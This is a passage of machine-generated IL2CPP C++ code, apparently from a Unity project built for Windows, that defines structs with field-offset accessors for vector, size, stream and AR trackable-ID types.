static_cast(offsetof(Rect_tC45F1DDF39812623644DE296D8057A4958176627, ____height_3)); } inline float get__height_3() const { return ____height_3; } inline float* get_address_of__height_3() { return &____height_3; } inline void set__height_3(float value) { ____height_3 = value; } }; // Windows.Foundation.Size struct Size_tDA924E69AB75296FE3B5E81811B78FD56173BB92 { public: // System.Single Windows.Foundation.Size::_width float ____width_0; // System.Single Windows.Foundation.Size::_height float ____height_1; public: inline static int32_t get_offset_of__width_0() { return static_cast(offsetof(Size_tDA924E69AB75296FE3B5E81811B78FD56173BB92, ____width_0)); } inline float get__width_0() const { return ____width_0; } inline float* get_address_of__width_0() { return &____width_0; } inline void set__width_0(float value) { ____width_0 = value; } inline static int32_t get_offset_of__height_1() { return static_cast(offsetof(Size_tDA924E69AB75296FE3B5E81811B78FD56173BB92, ____height_1)); } inline float get__height_1() const { return ____height_1; } inline float* get_address_of__height_1() { return &____height_1; } inline void set__height_1(float value) { ____height_1 = value; } }; // System.IO.Stream struct Stream_t5DC87DD578C2C5298D98E7802E92DEABB66E2ECB : public MarshalByRefObject_tD4DF91B488B284F899417EC468D8E50E933306A8 { public: // System.IO.Stream/ReadWriteTask System.IO.Stream::_activeReadWriteTask ReadWriteTask_t32CD2C230786712954C1DB518DBE420A1F4C7974 * ____activeReadWriteTask_2; // System.Threading.SemaphoreSlim System.IO.Stream::_asyncActiveSemaphore SemaphoreSlim_t3EF85FC980AE57957BEBB6B78E81DE2E3233D385 * ____asyncActiveSemaphore_3; public: inline static int32_t get_offset_of__activeReadWriteTask_2() { return static_cast(offsetof(Stream_t5DC87DD578C2C5298D98E7802E92DEABB66E2ECB, ____activeReadWriteTask_2)); } inline ReadWriteTask_t32CD2C230786712954C1DB518DBE420A1F4C7974 * get__activeReadWriteTask_2() const { return ____activeReadWriteTask_2; } inline ReadWriteTask_t32CD2C230786712954C1DB518DBE420A1F4C7974 ** get_address_of__activeReadWriteTask_2() { return &____activeReadWriteTask_2; } inline void set__activeReadWriteTask_2(ReadWriteTask_t32CD2C230786712954C1DB518DBE420A1F4C7974 * value) { ____activeReadWriteTask_2 = value; Il2CppCodeGenWriteBarrier((void**)(&____activeReadWriteTask_2), (void*)value); } inline static int32_t get_offset_of__asyncActiveSemaphore_3() { return static_cast(offsetof(Stream_t5DC87DD578C2C5298D98E7802E92DEABB66E2ECB, ____asyncActiveSemaphore_3)); } inline SemaphoreSlim_t3EF85FC980AE57957BEBB6B78E81DE2E3233D385 * get__asyncActiveSemaphore_3() const { return ____asyncActiveSemaphore_3; } inline SemaphoreSlim_t3EF85FC980AE57957BEBB6B78E81DE2E3233D385 ** get_address_of__asyncActiveSemaphore_3() { return &____asyncActiveSemaphore_3; } inline void set__asyncActiveSemaphore_3(SemaphoreSlim_t3EF85FC980AE57957BEBB6B78E81DE2E3233D385 * value) { ____asyncActiveSemaphore_3 = value; Il2CppCodeGenWriteBarrier((void**)(&____asyncActiveSemaphore_3), (void*)value); } }; struct Stream_t5DC87DD578C2C5298D98E7802E92DEABB66E2ECB_StaticFields { public: // System.IO.Stream System.IO.Stream::Null Stream_t5DC87DD578C2C5298D98E7802E92DEABB66E2ECB * ___Null_1; public: inline static int32_t get_offset_of_Null_1() { return static_cast(offsetof(Stream_t5DC87DD578C2C5298D98E7802E92DEABB66E2ECB_StaticFields, ___Null_1)); } inline Stream_t5DC87DD578C2C5298D98E7802E92DEABB66E2ECB * get_Null_1() const { return ___Null_1; } inline Stream_t5DC87DD578C2C5298D98E7802E92DEABB66E2ECB ** get_address_of_Null_1() { return &___Null_1; } inline void set_Null_1(Stream_t5DC87DD578C2C5298D98E7802E92DEABB66E2ECB * value) { ___Null_1 = value; Il2CppCodeGenWriteBarrier((void**)(&___Null_1), (void*)value); } }; // UnityEngine.XR.ARSubsystems.TrackableId struct TrackableId_t17A59B04292038BB1B77BEACD41221D2700BE90B { public: // System.UInt64 UnityEngine.XR.ARSubsystems.TrackableId::m_SubId1 uint64_t ___m_SubId1_2; // System.UInt64 UnityEngine.XR.ARSubsystems.TrackableId::m_SubId2 uint64_t ___m_SubId2_3; public: inline static int32_t get_offset_of_m_SubId1_2() { return static_cast(offsetof(TrackableId_t17A59B04292038BB1B77BEACD41221D2700BE90B, ___m_SubId1_2)); } inline uint64_t get_m_SubId1_2() const { return ___m_SubId1_2; } inline uint64_t* get_address_of_m_SubId1_2() { return &___m_SubId1_2; } inline void set_m_SubId1_2(uint64_t value) { ___m_SubId1_2 = value; } inline static int32_t get_offset_of_m_SubId2_3() { return static_cast(offsetof(TrackableId_t17A59B04292038BB1B77BEACD41221D2700BE90B, ___m_SubId2_3)); } inline uint64_t get_m_SubId2_3() const { return ___m_SubId2_3; } inline uint64_t* get_address_of_m_SubId2_3() { return &___m_SubId2_3; } inline void set_m_SubId2_3(uint64_t value) { ___m_SubId2_3 = value; } }; struct TrackableId_t17A59B04292038BB1B77BEACD41221D2700BE90B_StaticFields { public: // System.Text.RegularExpressions.Regex UnityEngine.XR.ARSubsystems.TrackableId::s_TrackableIdRegex Regex_t90F443D398F44965EA241A652ED75DF5BA072A1F * ___s_TrackableIdRegex_0; // UnityEngine.XR.ARSubsystems.TrackableId UnityEngine.XR.ARSubsystems.TrackableId::s_InvalidId TrackableId_t17A59B04292038BB1B77BEACD41221D2700BE90B ___s_InvalidId_1; public: inline static int32_t get_offset_of_s_TrackableIdRegex_0() { return static_cast(offsetof(TrackableId_t17A59B04292038BB1B77BEACD41221D2700BE90B_StaticFields, ___s_TrackableIdRegex_0)); } inline Regex_t90F443D398F44965EA241A652ED75DF5BA072A1F * get_s_TrackableIdRegex_0() const { return ___s_TrackableIdRegex_0; } inline Regex_t90F443D398F44965EA241A652ED75DF5BA072A1F ** get_address_of_s_TrackableIdRegex_0() { return &___s_TrackableIdRegex_0; } inline void set_s_TrackableIdRegex_0(Regex_t90F443D398F44965EA241A652ED75DF5BA072A1F * value) { ___s_TrackableIdRegex_0 = value; Il2CppCodeGenWriteBarrier((void**)(&___s_TrackableIdRegex_0), (void*)value); } inline static int32_t get_offset_of_s_InvalidId_1() { return static_cast(offsetof(TrackableId_t17A59B04292038BB1B77BEACD41221D2700BE90B_StaticFields, ___s_InvalidId_1)); } inline TrackableId_t17A59B04292038BB1B77BEACD41221D2700BE90B get_s_InvalidId_1() const { return ___s_InvalidId_1; } inline TrackableId_t17A59B04292038BB1B77BEACD41221D2700BE90B * get_address_of_s_InvalidId_1() { return &___s_InvalidId_1; } inline void set_s_InvalidId_1(TrackableId_t17A59B04292038BB1B77BEACD41221D2700BE90B value) { ___s_InvalidId_1 = value; } }; // System.UInt32 struct UInt32_tE60352A06233E4E69DD198BCC67142159F686B15 { public: // System.UInt32 System.UInt32::m_value uint32_t ___m_value_0; public: inline static int32_t get_offset_of_m_value_0() { return static_cast(offsetof(UInt32_tE60352A06233E4E69DD198BCC67142159F686B15, ___m_value_0)); } inline uint32_t get_m_value_0() const { return ___m_value_0; } inline uint32_t* get_address_of_m_value_0() { return &___m_value_0; } inline void set_m_value_0(uint32_t value) { ___m_value_0 = value; } }; // System.Numerics.Vector2 struct Vector2_tBD1CD435E3C2FB549BFC0EB8E331906ABF046D8B { public: // System.Single System.Numerics.Vector2::X float ___X_0; // System.Single System.Numerics.Vector2::Y float ___Y_1; public: inline static int32_t get_offset_of_X_0() { return static_cast(offsetof(Vector2_tBD1CD435E3C2FB549BFC0EB8E331906ABF046D8B, ___X_0)); } inline float get_X_0() const { return ___X_0; } inline float* get_address_of_X_0() { return &___X_0; } inline void set_X_0(float value) { ___X_0 = value; } inline static int32_t get_offset_of_Y_1() { return static_cast(offsetof(Vector2_tBD1CD435E3C2FB549BFC0EB8E331906ABF046D8B, ___Y_1)); } inline float get_Y_1() const { return ___Y_1; } inline float* get_address_of_Y_1() { return &___Y_1; } inline void set_Y_1(float value) { ___Y_1 = value; } }; // Windows.Foundation.Numerics.Vector2 struct Vector2_t3F50A00BF980B1193E44D4EBE470C34903F4631E { public: // System.Single Windows.Foundation.Numerics.Vector2::X float ___X_0; // System.Single Windows.Foundation.Numerics.Vector2::Y float ___Y_1; public: inline static int32_t get_offset_of_X_0() { return static_cast(offsetof(Vector2_t3F50A00BF980B1193E44D4EBE470C34903F4631E, ___X_0)); } inline float get_X_0() const { return ___X_0; } inline float* get_address_of_X_0() { return &___X_0; } inline void set_X_0(float value) { ___X_0 = value; } inline static int32_t get_offset_of_Y_1() { return static_cast(offsetof(Vector2_t3F50A00BF980B1193E44D4EBE470C34903F4631E, ___Y_1)); } inline float get_Y_1() const { return ___Y_1; } inline float* get_address_of_Y_1() { return &___Y_1; } inline void set_Y_1(float value) { ___Y_1 = value; } }; // UnityEngine.Vector2Int struct Vector2Int_tF49F5C2443670DE126D9EC8DBE81D8F480EAA6E9 { public: // System.Int32 UnityEngine.Vector2Int::m_X int32_t ___m_X_0; // System.Int32 UnityEngine.Vector2Int::m_Y int32_t ___m_Y_1; public: inline static int32_t get_offset_of_m_X_0() { return static_cast(offsetof(Vector2Int_tF49F5C2443670DE126D9EC8DBE81D8F480EAA6E9, ___m_X_0)); } inline int32_t get_m_X_0() const { return ___m_X_0; } inline int32_t* get_address_of_m_X_0() { return &___m_X_0; } inline void set_m_X_0(int32_t value) { ___m_X_0 = value; } inline static int32_t get_offset_of_m_Y_1() { return static_cast(offsetof(Vector2Int_tF49F5C2443670DE126D9EC8DBE81D8F480EAA6E9, ___m_Y_1)); } inline int32_t get_m_Y_1() const { return ___m_Y_1; } inline int32_t* get_address_of_m_Y_1() { return &___m_Y_1; } inline void set_m_Y_1(int32_t value) { ___m_Y_1 = value; } }; struct Vector2Int_tF49F5C2443670DE126D9EC8DBE81D8F480EAA6E9_StaticFields { public: // UnityEngine.Vector2Int UnityEngine.Vector2Int::s_Zero Vector2Int_tF49F5C2443670DE126D9EC8DBE81D8F480EAA6E9 ___s_Zero_2; // UnityEngine.Vector2Int UnityEngine.Vector2Int::s_One Vector2Int_tF49F5C2443670DE126D9EC8DBE81D8F480EAA6E9 ___s_One_3; // UnityEngine.Vector2Int UnityEngine.Vector2Int::s_Up Vector2Int_tF49F5C2443670DE126D9EC8DBE81D8F480EAA6E9 ___s_Up_4; // UnityEngine.Vector2Int UnityEngine.Vector2Int::s_Down Vector2Int_tF49F5C2443670DE126D9EC8DBE81D8F480EAA6E9 ___s_Down_5; // UnityEngine.Vector2Int UnityEngine.Vector2Int::s_Left Vector2Int_tF49F5C2443670DE126D9EC8DBE81D8F480EAA6E9 ___s_Left_6; // UnityEngine.Vector2Int UnityEngine.Vector2Int::s_Right Vector2Int_tF49F5C2443670DE126D9EC8DBE81D8F480EAA6E9 ___s_Right_7; public: inline static int32_t get_offset_of_s_Zero_2() { return static_cast(offsetof(Vector2Int_tF49F5C2443670DE126D9EC8DBE81D8F480EAA6E9_StaticFields, ___s_Zero_2)); } inline Vector2Int_tF49F5C2443670DE126D9EC8DBE81D8F480EAA6E9 get_s_Zero_2() const { return ___s_Zero_2; } inline Vector2Int_tF49F5C2443670DE126D9EC8DBE81D8F480EAA6E9 * get_address_of_s_Zero_2() { return &___s_Zero_2; } inline void set_s_Zero_2(Vector2Int_tF49F5C2443670DE126D9EC8DBE81D8F480EAA6E9 value) { ___s_Zero_2 = value; } inline static int32_t get_offset_of_s_One_3() { return static_cast(offsetof(Vector2Int_tF49F5C2443670DE126D9EC8DBE81D8F480EAA6E9_StaticFields, ___s_One_3)); } inline Vector2Int_tF49F5C2443670DE126D9EC8DBE81D8F480EAA6E9 get_s_One_3() const { return ___s_One_3; } inline Vector2Int_tF49F5C2443670DE126D9EC8DBE81D8F480EAA6E9 * get_address_of_s_One_3() { return &___s_One_3; } inline void set_s_One_3(Vector2Int_tF49F5C2443670DE126D9EC8DBE81D8F480EAA6E9 value) { ___s_One_3 = value; } inline static int32_t get_offset_of_s_Up_4() { return static_cast(offsetof(Vector2Int_tF49F5C2443670DE126D9EC8DBE81D8F480EAA6E9_StaticFields, ___s_Up_4)); } inline Vector2Int_tF49F5C2443670DE126D9EC8DBE81D8F480EAA6E9 get_s_Up_4() const { return ___s_Up_4; } inline Vector2Int_tF49F5C2443670DE126D9EC8DBE81D8F480EAA6E9 * get_address_of_s_Up_4() { return &___s_Up_4; } inline void set_s_Up_4(Vector2Int_tF49F5C2443670DE126D9EC8DBE81D8F480EAA6E9 value) { ___s_Up_4 = value; } inline static int32_t get_offset_of_s_Down_5() { return static_cast(offsetof(Vector2Int_tF49F5C2443670DE126D9EC8DBE81D8F480EAA6E9_StaticFields, ___s_Down_5)); } inline Vector2Int_tF49F5C2443670DE126D9EC8DBE81D8F480EAA6E9 get_s_Down_5() const { return ___s_Down_5; } inline Vector2Int_tF49F5C2443670DE126D9EC8DBE81D8F480EAA6E9 * get_address_of_s_Down_5() { return &___s_Down_5; } inline void set_s_Down_5(Vector2Int_tF49F5C2443670DE126D9EC8DBE81D8F480EAA6E9 value) { ___s_Down_5 = value; } inline static int32_t get_offset_of_s_Left_6() { return static_cast(offsetof(Vector2Int_tF49F5C2443670DE126D9EC8DBE81D8F480EAA6E9_StaticFields, ___s_Left_6)); } inline Vector2Int_tF49F5C2443670DE126D9EC8DBE81D8F480EAA6E9 get_s_Left_6() const { return ___s_Left_6; } inline Vector2Int_tF49F5C2443670DE126D9EC8DBE81D8F480EAA6E9 * get_address_of_s_Left_6() { return &___s_Left_6; } inline void set_s_Left_6(Vector2Int_tF49F5C2443670DE126D9EC8DBE81D8F480EAA6E9 value) { ___s_Left_6 = value; } inline static int32_t get_offset_of_s_Right_7() { return static_cast(offsetof(Vector2Int_tF49F5C2443670DE126D9EC8DBE81D8F480EAA6E9_StaticFields, ___s_Right_7)); } inline Vector2Int_tF49F5C2443670DE126D9EC8DBE81D8F480EAA6E9 get_s_Right_7() const { return ___s_Right_7; } inline Vector2Int_tF49F5C2443670DE126D9EC8DBE81D8F480EAA6E9 * get_address_of_s_Right_7() { return &___s_Right_7; } inline void set_s_Right_7(Vector2Int_tF49F5C2443670DE126D9EC8DBE81D8F480EAA6E9 value) { ___s_Right_7 = value; } }; // System.Numerics.Vector3 struct Vector3_t8DE19479CE3BD4C34B7AF76E89F5523A14FE37F4 { public: // System.Single System.Numerics.Vector3::X float ___X_0; // System.Single System.Numerics.Vector3::Y float ___Y_1; // System.Single System.Numerics.Vector3::Z float ___Z_2; public: inline static int32_t get_offset_of_X_0() { return static_cast(offsetof(Vector3_t8DE19479CE3BD4C34B7AF76E89F5523A14FE37F4, ___X_0)); } inline float get_X_0() const { return ___X_0; } inline float* get_address_of_X_0() { return &___X_0; } inline void set_X_0(float value) { ___X_0 = value; } inline static int32_t get_offset_of_Y_1() { return static_cast(offsetof(Vector3_t8DE19479CE3BD4C34B7AF76E89F5523A14FE37F4, ___Y_1)); } inline float get_Y_1() const { return ___Y_1; } inline float* get_address_of_Y_1() { return &___Y_1; } inline void set_Y_1(float value) { ___Y_1 = value; } inline static int32_t get_offset_of_Z_2() { return static_cast(offsetof(Vector3_t8DE19479CE3BD4C34B7AF76E89F5523A14FE37F4, ___Z_2)); } inline float get_Z_2() const { return ___Z_2; } inline float* get_address_of_Z_2() { return &___Z_2; } inline void set_Z_2(float value) { ___Z_2 = value; } }; // UnityEngine.Vector3 struct Vector3_t65B972D6A585A0A5B63153CF1177A90D3C90D65E { public: // System.Single UnityEngine.Vector3::x float ___x_2; // System.Single UnityEngine.Vector3::y float ___y_3; // System.Single UnityEngine.Vector3::z float ___z_4; public: inline static int32_t get_offset_of_x_2() { return static_cast(offsetof(Vector3_t65B972D6A585A0A5B63153CF1177A90D3C90D65E, ___x_2)); } inline float get_x_2() const { return ___x_2; } inline float* get_address_of_x_2() { return &___x_2; } inline void set_x_2(float value) { ___x_2 = value; } inline static int32_t get_offset_of_y_3() { return static_cast(offsetof(Vector3_t65B972D6A585A0A5B63153CF1177A90D3C90D65E, ___y_3)); } inline float get_y_3() const { return ___y_3; } inline float* get_address_of_y_3() { return &___y_3; } inline void set_y_3(float value) { ___y_3 = value; } inline static int32_t get_offset_of_z_4() { return static_cast(offsetof(Vector3_t65B972D6A585A0A5B63153CF1177A90D3C90D65E, ___z_4)); } inline float get_z_4() const { return ___z_4; } inline float* get_address_of_z_4() { return &___z_4; } inline void set_z_4(float value) { ___z_4 = value; } }; struct Vector3_t65B972D6A585A0A5B63153CF1177A90D3C90D65E_StaticFields { public: // UnityEngine.Vector3 UnityEngine.Vector3::zeroVector Vector3_t65B972D6A585A0A5B63153CF1177A90D3C90D65E ___zeroVector_5; // UnityEngine.Vector3 UnityEngine.Vector3::oneVector Vector3_t65B972D6A585A0A5B63153CF1177A90D3C90D65E ___oneVector_6; // UnityEngine.Vector3 UnityEngine.Vector3::upVector Vector3_t65B972D6A585A0A5B63153CF1177A90D3C90D65E ___upVector_7; // UnityEngine.Vector3 UnityEngine.Vector3::downVector Vector3_t65B972D6A585A0A5B63153CF1177A90D3C90D65E ___downVector_8; // UnityEngine.Vector3 UnityEngine.Vector3::leftVector Vector3_t65B972D6A585A0A5B63153CF1177A90D3C90D65E ___leftVector_9; // UnityEngine.Vector3 UnityEngine.Vector3::rightVector Vector3_t65B972D6A585A0A5B63153CF1177A90D3C90D65E ___rightVector_10; // UnityEngine.Vector3 UnityEngine.Vector3::forwardVector Vector3_t65B972D6A585A0A5B63153CF1177A90D3C90D65E ___forwardVector_11; // UnityEngine.Vector3 UnityEngine.Vector3::backVector Vector3_t65B972D6A585A0A5B63153CF1177A90D3C90D65E ___backVector_12; // UnityEngine.Vector3 UnityEngine.Vector3::positiveInfinityVector Vector3_t65B972D6A585A0A5B63153CF1177A90D3C90D65E ___positiveInfinityVector_13; // UnityEngine.Vector3 UnityEngine.Vector3::negativeInfinityVector Vector3_t65B972D6A585A0A5B63153CF1177A90D3C90D65E ___negativeInfinityVector_14; public: inline static int32_t get_offset_of_zeroVector_5() { return static_cast(offsetof(Vector3_t65B972D6A585A0A5B63153CF1177A90D3C90D65E_StaticFields, ___zeroVector_5)); } inline Vector3_t65B972D6A585A0A5B63153CF1177A90D3C90D65E get_zeroVector_5() const { return ___zeroVector_5; } inline Vector3_t65B972D6A585A0A5B63153CF1177A90D3C90D65E * get_address_of_zeroVector_5() { return &___zeroVector_5; } inline void set_zeroVector_5(Vector3_t65B972D6A585A0A5B63153CF1177A90D3C90D65E value) { ___zeroVector_5 = value; } inline static int32_t get_offset_of_oneVector_6() { return static_cast(offsetof(Vector3_t65B972D6A585A0A5B63153CF1177A90D3C90D65E_StaticFields, ___oneVector_6)); } inline Vector3_t65B972D6A585A0A5B63153CF1177A90D3C90D65E get_oneVector_6() const { return ___oneVector_6; } inline Vector3_t65B972D6A585A0A5B63153CF1177A90D3C90D65E * get_address_of_oneVector_6() { return &___oneVector_6; } inline void set_oneVector_6(Vector3_t65B972D6A585A0A5B63153CF1177A90D3C90D65E value) { ___oneVector_6 = value; } inline static int32_t get_offset_of_upVector_7() { return static_cast(offsetof(Vector3_t65B972D6A585A0A5B63153CF1177A90D3C90D65E_StaticFields, ___upVector_7)); } inline Vector3_t65B972D6A585A0A5B63153CF1177A90D3C90D65E get_upVector_7() const { return ___upVector_7; } inline Vector3_t65B972D6A585A0A5B63153CF1177A90D3C90D65E * get_address_of_upVector_7() { return &___upVector_7; } inline void set_upVector_7(Vector3_t65B972D6A585A0A5B63153CF1177A90D3C90D65E value) { ___upVector_7 = value; } inline static int32_t get_offset_of_downVector_8() { return static_cast(offsetof(Vector3_t65B972D6A585A0A5B63153CF1177A90D3C90D65E_StaticFields, ___downVector_8)); } inline Vector3_t65B972D6A585A0A5B63153CF1177A90D3C90D65E get_downVector_8() const { return ___downVector_8; } inline Vector3_t65B972D6A585A0A5B63153CF1177A90D3C90D65E * get_address_of_downVector_8() { return &___downVector_8; } inline void set_downVector_8(Vector3_t65B972D6A585A0A5B63153CF1177A90D3C90D65E value) { ___downVector_8 = value; } inline static int32_t get_offset_of_leftVector_9() { return static_cast(offsetof(Vector3_t65B972D6A585A0A5B63153CF1177A90D3C90D65E_StaticFields, ___leftVector_9)); } inline Vector3_t65B972D6A585A0A5B63153CF1177A90D3C90D65E get_leftVector_9() const { return ___leftVector_9; } inline Vector3_t65B972D6A585A0A5B63153CF1177A90D3C90D65E * get_address_of_leftVector_9() { return &___leftVector_9; } inline void set_leftVector_9(Vector3_t65B972D6A585A0A5B63153CF1177A90D3C90D65E value) { ___leftVector_9 = value; } inline static int32_t get_offset_of_rightVector_10() { return static_cast(offsetof(Vector3_t65B972D6A585A0A5B63153CF1177A90D3C90D65E_StaticFields, ___rightVector_10)); } inline Vector3_t65B972D6A585A0A5B63153CF1177A90D3C90D65E get_rightVector_10() const { return ___rightVector_10; } inline Vector3_t65B972D6A585A0A5B63153CF1177A90D3C90D65E * get_address_of_rightVector_10() { return &___rightVector_10; } inline void set_rightVector_10(Vector3_t65B972D6A585A0A5B63153CF1177A90D3C90D65E value) { ___rightVector_10 = value; } inline static int32_t get_offset_of_forwardVector_11() { return static_cast(offsetof(Vector3_t65B972D6A585A0A5B63153CF1177A90D3C90D65E_StaticFields, ___forwardVector_11)); } inline Vector3_t65B972D6A585A0A5B63153CF1177A90D3C90D65E get_forwardVector_11() const { return ___forwardVector_11; } inline Vector3_t65B972D6A585A0A5B63153CF1177A90D3C90D65E * get_address_of_forwardVector_11() { return &___forwardVector_11; } inline void set_forwardVector_11(Vector3_t65B972D6A585A0A5B63153CF1177A90D3C90D65E value) { ___forwardVector_11 = value; } inline static int32_t get_offset_of_backVector_12() { return static_cast(offsetof(Vector3_t65B972D6A585A0A5B63153CF1177A90D3C90D65E_StaticFields, ___backVector_12)); } inline Vector3_t65B972D6A585A0A5B63153CF1177A90D3C90D65E get_backVector_12() const { return ___backVector_12; } inline Vector3_t65B972D6A585A0A5B63153CF1177A90D3C90D65E * get_address_of_backVector_12() { return &___backVector_12; } inline void set_backVector_12(Vector3_t65B972D6A585A0A5B63153CF1177A90D3C90D65E value) { ___backVector_12 = value; } inline static int32_t get_offset_of_positiveInfinityVector_13() { return static_cast(offsetof(Vector3_t65B972D6A585A0A5B63153CF1177A90D3C90D65E_StaticFields, ___positiveInfinityVector_13)); } inline Vector3_t65B972D6A585A0A5B63153CF1177A90D3C90D65E get_positiveInfinityVector_13() const { return ___positiveInfinityVector_13; } inline Vector3_t65B972D6A585A0A5B63153CF1177A90D3C90D65E * get_address_of_positiveInfinityVector_13() { return &___positiveInfinityVector_13; } inline void set_positiveInfinityVector_13(Vector3_t65B972D6A585A0A5B63153CF1177A90D3C90D65E value) { ___positiveInfinityVector_13 = value; } inline static int32_t get_offset_of_negativeInfinityVector_14() { return static_cast(offsetof(Vector3_t65B972D6A585A0A5B63153CF1177A90D3C90D65E_StaticFields, ___negativeInfinityVector_14)); } inline Vector3_t65B972D6A585A0A5B63153CF1177A90D3C90D65E get_negativeInfinityVector_14() const { return ___negativeInfinityVector_14; } inline Vector3_t65B972D6A585A0A5B63153CF1177A90D3C90D65E * get_address_of_negativeInfinityVector_14() { return &___negativeInfinityVector_14; } inline void set_negativeInfinityVector_14(Vector3_t65B972D6A585A0A5B63153CF1177A90D3C90D65E value) { ___negativeInfinityVector_14 = value; } }; // Windows.Foundation.Numerics.Vector3 struct Vector3_t0194CC66E38F631C9297656C3AA662B23F45F53F { public: // System.Single Windows.Foundation.Numerics.Vector3::X float ___X_0; // System.Single Windows.Foundation.Numerics.Vector3::Y float ___Y_1; // System.Single Windows.Foundation.Numerics.Vector3::Z float ___Z_2; public: inline static int32_t get_offset_of_X_0() { return static_cast(offsetof(Vector3_t0194CC66E38F631C9297656C3AA662B23F45F53F, ___X_0)); } inline float get_X_0() const { return ___X_0; } inline float* get_address_of_X_0() { return &___X_0; } inline void set_X_0(float value) { ___X_0 = value; } inline static int32_t get_offset_of_Y_1() { return static_cast(offsetof(Vector3_t0194CC66E38F631C9297656C3AA662B23F45F53F, ___Y_1)); } inline float get_Y_1() const { return ___Y_1; } inline float* get_address_of_Y_1() { return &___Y_1; } inline void set_Y_1(float value) { ___Y_1 = value; } inline static int32_t get_offset_of_Z_2() { return static_cast(offsetof(Vector3_t0194CC66E38F631C9297656C3AA662B23F45F53F, ___Z_2)); } inline float get_Z_2() const { return ___Z_2; } inline float* get_address_of_Z_2() { return &___Z_2; } inline void set_Z_2(float value) { ___Z_2 = value; } }; // UnityEngine.Vector4 struct Vector4_tA56A37FC5661BCC89C3DDC24BE12BA5BCB6A02C7 { public: // System.Single UnityEngine.Vector4::x float ___x_1; // System.Single UnityEngine.Vector4::y float ___y_2; // System.Single UnityEngine.Vector4::z float ___z_3; // System.Single UnityEngine.Vector4::w float ___w_4; public: inline static int32_t get_offset_of_x_1() { return static_cast(offsetof(Vector4_tA56A37FC5661BCC89C3DDC24BE12BA5BCB6A02C7, ___x_1)); } inline float get_x_1() const { return ___x_1; } inline float* get_address_of_x_1() { return &___x_1; } inline void set_x_1(float value) { ___x_1 = value; } inline static int32_t get_offset_of_y_2() { return static_cast(offsetof(Vector4_tA56A37FC5661BCC89C3DDC24BE12BA5BCB6A02C7, ___y_2)); } inline float get_y_2() const { return ___y_2; } inline float* get_address_of_y_2() { return &___y_2; } inline void set_y_2(float value) { ___y_2 = value; } inline static int32_t get_offset_of_z_3() { return static_cast(offsetof(Vector4_tA56A37FC5661BCC89C3DDC24BE12BA5BCB6A02C7, ___z_3)); } inline float get_z_3() const { return ___z_3; } inline float* get_address_of_z_3() { return &___z_3; } inline void set_z_3(float value) { ___z_3 = value; } inline static int32_t get_offset_of_w_4() { return static_cast(offsetof(Vector4_tA56A37FC5661BCC89C3DDC24BE12BA5BCB6A02C7, ___w_4)); } inline float get_w_4() const { return ___w_4; } inline float* get_address_of_w_4() { return &___w_4; } inline void set_w_4(float value) { ___w_4 = value; } }; struct Vector4_tA56A37FC5661BCC89C3DDC24BE12BA5BCB6A02C7_StaticFields { public: // UnityEngine.Vector4 UnityEngine.Vector4::zeroVector Vector4_tA56A37FC5661BCC89C3DDC24BE12BA5BCB6A02C7 ___zeroVector_5; // UnityEngine.Vector4 UnityEngine.Vector4::oneVector Vector4_tA56A37FC5661BCC89C3DDC24BE12BA5BCB6A02C7 ___oneVector_6; // UnityEngine.Vector4 UnityEngine.Vector4::positiveInfinityVector Vector4_tA56A37FC5661BCC89C3DDC24BE12BA5BCB6A02C7 ___positiveInfinityVector_7; // UnityEngine.Vector4 UnityEngine.Vector4::negativeInfinityVector Vector4_tA56A37FC5661BCC89C3DDC24BE12BA5BCB6A02C7 ___negativeInfinityVector_8; public: inline static int32_t get_offset_of_zeroVector_5() { return static_cast(offsetof(Vector4_tA56A37FC5661BCC89C3DDC24BE12BA5BCB6A02C7_StaticFields, ___zeroVector_5)); } inline Vector4_tA56A37FC5661BCC89C3DDC24BE12BA5BCB6A02C7 get_zeroVector_5() const { return ___zeroVector_5; } inline Vector4_tA56A37FC5661BCC89C3DDC24BE12BA5BCB6A02C7 * get_address_of_zeroVector_5() { return &___zeroVector_5; } inline void set_zeroVector_5(Vector4_tA56A37FC5661BCC89C3DDC24BE12BA5BCB6A02C7 value) { ___zeroVector_5 = value; } inline static int32_t get_offset_of_oneVector_6() { return static_cast(offsetof(Vector4_tA56A37FC5661BCC89C3DDC24BE12BA5BCB6A02C7_StaticFields, ___oneVector_6)); } inline Vector4_tA56A37FC5661BCC89C3DDC24BE12BA5BCB6A02C7 get_oneVector_6() const { return ___oneVector_6; } inline Vector4_tA56A37FC5661BCC89C3DDC24BE12BA5BCB6A02C7 * get_address_of_oneVector_6() { return &___oneVector_6; } inline void set_oneVector_6(Vector4_tA56A37FC5661BCC89C3DDC24BE12BA5BCB6A02C7 value) { ___oneVector_6 = value; } inline static int32_t get_offset_of_positiveInfinityVector_7() { return static_cast(offsetof(Vector4_tA56A37FC5661BCC89C3DDC24BE12BA5BCB6A02C7_StaticFields, ___positiveInfinityVector_7)); } inline Vector4_tA56A37FC5661BCC89C3DDC24BE12BA5BCB6A02C7 get_positiveInfinityVector_7() const { return ___positiveInfinityVector_7; } inline Vector4_tA56A37FC5661BCC89C3DDC24BE12BA5BCB6A02C7 * get_address_of_positiveInfinityVector_7() { return &___positiveInfinityVector_7; } inline void set_positiveInfinityVector_7(Vector4_tA56A37FC5661BCC89C3DDC24BE12BA5BCB6A02C7 value) { ___positiveInfinityVector_7 = value; } inline static int32_t get_offset_of_negativeInfinityVector_8() { return static_cast(offsetof(Vector4_tA56A37FC5661BCC89C3DDC24BE12BA5BCB6A02C7_StaticFields, ___negativeInfinityVector_8)); } inline Vector4_tA56A37FC5661BCC89C3DDC24BE12BA5BCB6A02C7 get_negativeInfinityVector_8() const { return ___negativeInfinityVector_8; } inline Vector4_tA56A37FC5661BCC89C3DDC24BE12BA5BCB6A02C7 * get_address_of_negativeInfinityVector_8() { return &___negativeInfinityVector_8; } inline void set_negativeInfinityVector_8(Vector4_tA56A37FC5661BCC89C3DDC24BE12BA5BCB6A02C7 value) { ___negativeInfinityVector_8 = value; } }; // UnityEngine.Rendering.VolumeIsolationScope struct VolumeIsolationScope_t9484194A8F015F4651CF7BEE3AE010081C39AA4E { public: union { struct { }; uint8_t VolumeIsolationScope_t9484194A8F015F4651CF7BEE3AE010081C39AA4E__padding[1]; }; public: }; // Windows.Foundation.IReference`1 struct NOVTABLE IReference_1_t3C8A36C7276B7158A344146F353F2DCA871E4630 : Il2CppIInspectable { static const Il2CppGuid IID; virtual il2cpp_hresult_t STDCALL IReference_1_get_Value_m4255473F2FF2083F7A9A0B6E89C6B9532942FA5C(Vector2_tBD1CD435E3C2FB549BFC0EB8E331906ABF046D8B * comReturnValue) = 0; }; // Windows.Foundation.IReference`1 struct NOVTABLE 